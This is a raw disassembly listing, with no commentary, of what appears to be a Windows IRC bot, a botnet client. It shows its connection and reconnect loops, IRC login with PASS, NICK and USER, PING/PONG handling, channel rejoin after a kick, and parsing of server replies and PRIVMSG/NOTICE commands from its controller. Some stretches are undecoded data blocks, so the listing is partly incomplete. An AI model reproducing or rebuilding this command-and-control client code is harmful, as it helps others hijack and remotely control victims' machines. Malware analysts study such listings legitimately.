		mov	ebx, ds:dword_421060
		push	64h
		call	ebx ; dword_421060
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_438FAC
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 0D9h
		dd 0FEA8858Dh, 5056FFFFh, 39DEE857h, 8DCB0067h,	8D50F045h
		dd 8D50AC45h, 0FFFDA485h, 6A5750FFh, 57016A28h,	0FEA8858Dh
		dd 5057FFFFh, 39BAE857h, 85940067h, 6A1474C0h, 0FFD3FF64h
		dd 358BF075h, 42106Ch, 75FFD6FFh, 8BD6FFF4h, 80C71045h
		dd 0B0h, 43E790h, 6424048Bh, 0A3h, 8C48300h, 1415FF57h
		dd 5F004211h
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C682	proc far		; CODE XREF: seg000:00417BC1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset loc_40C59A
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_42C178, ebx
		jz	short loc_40C6B8
		call	sub_409F9D


loc_40C6B8:				; CODE XREF: sub_40C682+2Fj
		mov	esi, ds:dword_42104C
		call	esi ; dword_42104C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_468808, eax
		call	esi ; dword_42104C
		push	eax
		call	sub_41553B
		pop	ecx
		call	sub_4089F2
		push	2
		call	ds:dword_43A434
		push	7530h
		push	offset aIds443vbc ; "ids443vbc"
		push	ebx
		push	ebx
		call	near ptr 0A80000h
		retf	0E850h
sub_40C682	endp

; ---------------------------------------------------------------------------
		dd 673904h, 1023D24h, 8750000h,	15FF016Ah, 421114h, 0F77C858Dh
		dd 6850FFFFh, 202h, 0A30015FFh,	0C33B0043h, 0FF84589h
		dd 44385h, 7CBD8000h, 2FFFFF7h,	430850Fh, 0C0330000h, 0F77D858Ah
		dd 23CFFFFh, 420850Fh, 4BE0000h, 8D000001h, 0FFFC1085h
		dd 0E85056FFh, 6738A8h,	14858D81h, 56FFFFFDh, 99E85350h
		dd 0B3006738h, 3892E850h, 8D180067h, 0FFFB1085h, 858D50FFh
		dd 0FFFFF90Ch, 858D5350h, 0FFFFFD14h, 0BDE85053h, 8D0000ABh
		dd 0FFFB1085h, 858D50FFh, 0FFFFF90Ch, 6CA06850h, 858D0042h
		dd 0FFFFFA0Ch, 0BFE85056h, 8D000092h, 0FFFC1085h, 858D50FFh
		dd 0FFFFFD14h, 9302E850h, 0C4830000h, 0FC08530h, 1A685h
		dd 781D3900h, 0BE004689h, 42C1E0h, 33563174h, 9512E8FFh
		dd 0E8830000h, 23745904h, 8D5CE8h, 991A6A00h, 56F9F759h
		dd 8861C280h, 42C1E097h, 0F1E84700h, 83000094h,	3B5904E8h
		dd 8DDD72F8h, 0FFFC1085h, 8D5056FFh, 0FFFE1885h, 908868FFh
		dd 0E8500042h, 8CC9h, 8D10C483h, 0FFFE1885h, 15FF50FFh
		dd 421094h, 74FFF883h, 18858D12h, 68FFFFFEh, 80h, 37BAE850h
		dd 8B8E0067h, 42112435h, 18858D00h, 53FFFFFEh, 14858D50h
		dd 33FFFFFDh, 0D6FF50FFh, 3375C085h, 108815FFh,	0FB3B0042h
		dd 0F8832975h, 83057420h, 1F7505F8h, 685F016Ah,	3A98h
		dd 106015FFh, 858D0042h, 0FFFFFE18h, 858D5053h,	0FFFFFD14h
		dd 8DC7EB50h, 0FFFE1885h, 0ACE850FFh, 59FFFFD4h, 0FE18858Dh
		dd 76AFFFFh, 374EE850h,	6A630067h, 0E4458D10h, 0B1E85053h
		dd 6A00008Ch, 9C458D44h, 5053565Eh, 8CA3E8h, 18C48300h
		dd 0C79C7589h, 8FACA845h, 89660043h, 16ACC5Dh, 0C875895Eh
		dd 673717E8h, 56502900h, 10000068h, 370AE800h, 8D3D0067h
		dd 0FFFD148Dh, 8D5051FFh, 0FFFE1885h, 858D50FFh, 0FFFFF678h
		dd 43314868h, 0D2E85000h, 8300008Bh, 458D14C4h,	458D50E4h
		dd 858D509Ch, 0FFFFFC10h, 286A5350h, 858D5356h,	0FFFFF678h
		dd 858D5053h, 0FFFFFE18h, 36BEE850h, 85F60067h,	682874C0h
		dd 0C8h, 106015FFh, 75FF0042h, 6C358BE4h, 0FF004210h, 0E875FFD6h
		dd 15FFD6FFh, 43A2E8h, 1415FF53h, 83004211h, 4694A03Dh
		dd 437E0200h, 4694A4A1h, 470FF00h, 90DAE8h, 0F08B5900h
		dd 0E856FF6Ah, 673670h,	15FF5641h, 42106Ch, 4694A4A1h
		dd 8583900h, 0D0681974h, 0FF000007h, 42106015h,	94A4A100h
		dd 70FF0046h, 3646E808h, 397C0067h, 42C1801Dh, 39157400h
		dd 43A4581Dh, 8D0D7500h, 0FFFA0C85h, 0D7E850FFh, 59FFFFE9h
		dd 0FF1C858Dh, 1C68FFFFh, 50004331h, 8B00E8h, 858D5300h
		dd 0FFFFFF1Ch, 9EE85053h, 8D000085h, 0FFFF1C85h, 6AE850FFh
		dd 68FFFFE7h, 0B80h, 0E7986853h, 5DE80043h, 0E800008Bh
		dd 8B2Dh, 0B0687F6Ah, 680042C1h, 468814h, 898C1D89h, 11E80046h
		dd 0A10000A3h, 42C164h,	94BF3F6Ah, 68004688h, 42C1BCh
		dd 8964A357h, 0F5E80046h, 6A0000A2h, 88D4BE3Fh,	0C0680046h
		dd 560042C1h, 0A2E3E8h,	48C48300h, 89681D89h, 5D890046h
		dd 701D39FCh, 750043A4h, 0E0458D16h, 15FF5053h,	43A2CCh
		dd 775C085h, 753068h, 682CEB00h, 468810h, 89881D89h, 0DEE80046h
		dd 83000000h, 458902F8h, 0BE840FF8h, 39000000h,	4689881Dh
		dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42106015h, 0FC45FF00h
		dd 6FC7D83h, 7D83A77Ch,	840F02F8h, 95h,	74F45D39h, 687F6A40h
		dd 42C1B0h, 46881468h, 0A25EE800h, 64A10000h, 6A0042C1h
		dd 0C1BC683Fh, 0A3570042h, 468964h, 0A247E8h, 683F6A00h
		dd 42C1C0h, 0A23AE856h,	0C4830000h, 0F45D8924h,	0FFFF55E9h
		dd 0C81D38FFh, 0F0042C1h, 0FFFF4984h, 687F6AFFh, 42C1C8h
		dd 46881468h, 0A212E800h, 68A10000h, 6A0042C1h,	0C1D4683Fh
		dd 0A3570042h, 468964h,	0A1FBE8h, 683F6A00h, 42C1D8h, 0A1EEE856h
		dd 0C4830000h, 0F445C724h, 1, 0FFFF05E9h, 85F8E8FFh, 15FF0000h
		dd 43A2E8h, 0C0335E5Fh,	10C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB75	proc near		; DATA XREF: seg000:0041082Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CB9A:				; CODE XREF: sub_40CB75+E6j
					; sub_40CB75+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_43A388
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A05B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCC7
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415570
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_46897C
		push	ds:dword_42C18C
		push	eax
		call	sub_414435
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F530
		push	edi
		push	eax
		call	sub_416D40
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_43A408
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_43F524[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC60
		push	esi
		call	ds:dword_43A420
		call	sub_40A084
		push	7D0h


loc_40CC55:				; CODE XREF: sub_40CB75+146j
		call	ds:dword_421060	; Sleep
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------


loc_40CC60:				; CODE XREF: sub_40CB75+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433154
		call	sub_40B1E1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCDD
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_43A420
		test	edi, edi
		jz	loc_40CB9A
		cmp	edi, 1
		jnz	short loc_40CCBD
		push	0DBBA0h
		jmp	short loc_40CC55
; ---------------------------------------------------------------------------


loc_40CCBD:				; CODE XREF: sub_40CB75+13Fj
		cmp	edi, 2
		jz	short loc_40CCCB
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------


loc_40CCC7:				; CODE XREF: sub_40CB75+5Aj
		xor	eax, eax
		jmp	short loc_40CCD7
; ---------------------------------------------------------------------------


loc_40CCCB:				; CODE XREF: sub_40CB75+14Bj
		push	[ebp+var_34]
		call	sub_4152B1
		pop	ecx
		push	2
		pop	eax


loc_40CCD7:				; CODE XREF: sub_40CB75+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCDD	proc near		; CODE XREF: sub_40CB75+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CCFB:				; CODE XREF: sub_40CCDD+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCFB
		cmp	ds:byte_468980,	bl
		jz	short loc_40CD22
		push	offset byte_468980
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412D08
		add	esp, 0Ch


loc_40CD22:				; CODE XREF: sub_40CCDD+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414435
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154E9
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD8C
		push	[ebp+arg_0]
		call	ds:dword_43A420
		push	1388h
		call	ds:dword_421060	; Sleep


loc_40CD85:				; CODE XREF: sub_40CCDD+D9j
					; sub_40CCDD+153j
		xor	eax, eax


loc_40CD87:				; CODE XREF: sub_40CCDD+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD8C:				; CODE XREF: sub_40CCDD+92j
					; sub_40CCDD+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3A0
		test	eax, eax
		jle	short loc_40CD85
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A3B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD8C
		lea	edi, [ebp+var_A10]


loc_40CDDD:				; CODE XREF: sub_40CCDD+165j
		push	1
		pop	esi


loc_40CDE0:				; CODE XREF: sub_40CCDD+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40CE55
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE23
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40CDE0
; ---------------------------------------------------------------------------


loc_40CE23:				; CODE XREF: sub_40CCDD+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE4D
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE49
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD85
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDDD
		jmp	loc_40CD8C
; ---------------------------------------------------------------------------


loc_40CE49:				; CODE XREF: sub_40CCDD+14Ej
		push	1
		jmp	short loc_40CE4F
; ---------------------------------------------------------------------------


loc_40CE4D:				; CODE XREF: sub_40CCDD+149j
		push	2


loc_40CE4F:				; CODE XREF: sub_40CCDD+16Ej
		pop	eax
		jmp	loc_40CD87
sub_40CCDD	endp

; ---------------------------------------------------------------------------


loc_40CE55:				; CODE XREF: sub_40CCDD+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D70
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-98h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_415570
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D40
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40D219
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_415570
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-0F9Ch]
		push	offset asc_436574 ; " :"
		push	eax
		call	sub_415AC0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D40
		mov	esi, offset asc_4269E8 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_416C98
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A8h], 1Fh


loc_40CF28:				; CODE XREF: seg000:0040CF3Cj
		push	esi
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A8h]
		pop	ecx
		jnz	short loc_40CF28
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40D219
		cmp	[ebp-90h], ebx
		jz	loc_40D219
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CF76:				; CODE XREF: seg000:0040CFA8j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CFA2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CFAA
		cmp	[eax+2], bl
		jnz	short loc_40CFAA
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CFA2:				; CODE XREF: seg000:0040CF7Aj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF76


loc_40CFAA:				; CODE XREF: seg000:0040CF7Fj
					; seg000:0040CF84j
		cmp	[ebp-9A1h], bl
		jz	short loc_40CFB5
		mov	[ebp-8], edi


loc_40CFB5:				; CODE XREF: seg000:0040CFB0j
		cmp	[ebp-9A6h], bl
		jz	short loc_40CFC3
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40CFC3:				; CODE XREF: seg000:0040CFBBj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFFD
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-0C4h]
		push	offset dword_42F3C4
		push	eax
		call	sub_416C98
		add	esp, 20h


loc_40CFFD:				; CODE XREF: seg000:0040CFC6j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04E
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0F2
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		add	esp, 10h
		jmp	loc_40D0F2
; ---------------------------------------------------------------------------


loc_40D04E:				; CODE XREF: seg000:0040D00Cj
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1C
		push	esi
		push	offset a005	; "005"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1C
		push	esi
		push	offset a302	; "302"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0B9
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0F2
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_40D0F2
; ---------------------------------------------------------------------------


loc_40D0B9:				; CODE XREF: seg000:0040D08Dj
		push	esi
		push	offset a433	; "433"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0F9
		push	ebx
		push	ds:dword_46897C
		push	ds:dword_42C18C
		push	dword ptr [ebp+18h]
		call	sub_414435
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		add	esp, 1Ch


loc_40D0F2:				; CODE XREF: seg000:0040D02Dj
					; seg000:0040D049j ...
		mov	eax, edi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_40D0F9:				; CODE XREF: seg000:0040D0C8j
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A8h], 2
		mov	edi, 80h


loc_40D10B:				; CODE XREF: seg000:0040D130j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D128
		mov	dword ptr [ebp-98h], 1


loc_40D128:				; CODE XREF: seg000:0040D11Cj
		add	esi, edi
		dec	dword ptr [ebp-0A8h]
		jnz	short loc_40D10B
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D221
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40D157:				; CODE XREF: seg000:0040D1E4j
		cmp	[esi], bl
		jz	loc_40D1DF
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1DF
		cmp	[ebp-88h], ebx
		jz	short loc_40D1DF
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1DF
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436500
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		add	esp, 20h


loc_40D1DF:				; CODE XREF: seg000:0040D159j
					; seg000:0040D179j ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40D157
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D219
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D20E:				; CODE XREF: seg000:0040D46Aj
					; seg000:0040D7C1j
		push	dword ptr [ebp+0Ch]
		call	sub_412D08


loc_40D216:				; CODE XREF: seg000:00412055j
					; seg000:00412072j ...
		add	esp, 10h


loc_40D219:				; CODE XREF: seg000:0040CEB0j
					; seg000:0040CF46j ...
		push	1


loc_40D21B:				; CODE XREF: seg000:0041259Cj
		pop	eax


loc_40D21C:				; CODE XREF: seg000:0040D0F4j
					; seg000:0040EFB9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D221:				; CODE XREF: seg000:0040D147j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D377
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40D24A:				; CODE XREF: seg000:0040D29Cj
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D297
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40D297
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415C00
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_415C10
		add	esp, 10h
		mov	edi, 80h


loc_40D297:				; CODE XREF: seg000:0040D25Bj
					; seg000:0040D272j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40D24A
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	loc_40D219
		cmp	[ebp+2Ch], ebx
		jz	loc_40D219
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2DF
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_416D40
		add	esp, 0Ch
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D2DF:				; CODE XREF: seg000:0040D2C8j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D2E4:				; CODE XREF: seg000:0040D305j
		cmp	[edi], bl
		jz	short loc_40D2FB
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D30C


loc_40D2FB:				; CODE XREF: seg000:0040D2E6j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2E4
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D30C:				; CODE XREF: seg000:0040D2F9j
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_40D219
		push	eax
		call	sub_415CF0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D219
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 24h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: seg000:0040D230j
		push	esi
		push	offset aPart	; "PART"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D399
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3C0


loc_40D399:				; CODE XREF: seg000:0040D386j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D39E:				; CODE XREF: seg000:0040D3BEj
		cmp	[edi], bl
		jz	short loc_40D3B4
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D40E


loc_40D3B4:				; CODE XREF: seg000:0040D3A0j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D39E


loc_40D3C0:				; CODE XREF: seg000:0040D397j
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D46F
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3F7
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40D3F7:				; CODE XREF: seg000:0040D3ECj
		push	dword ptr [ebp-84h]
		push	offset dword_4364A0


loc_40D402:				; CODE XREF: seg000:004123CEj
					; seg000:00412747j ...
		call	sub_40B1E1
		pop	ecx


loc_40D408:				; CODE XREF: seg000:0041285Cj
		pop	ecx
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D40E:				; CODE XREF: seg000:0040D3B2j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_43646C
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D219
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D20E
; ---------------------------------------------------------------------------


loc_40D46F:				; CODE XREF: seg000:0040D3D4j
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415910
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
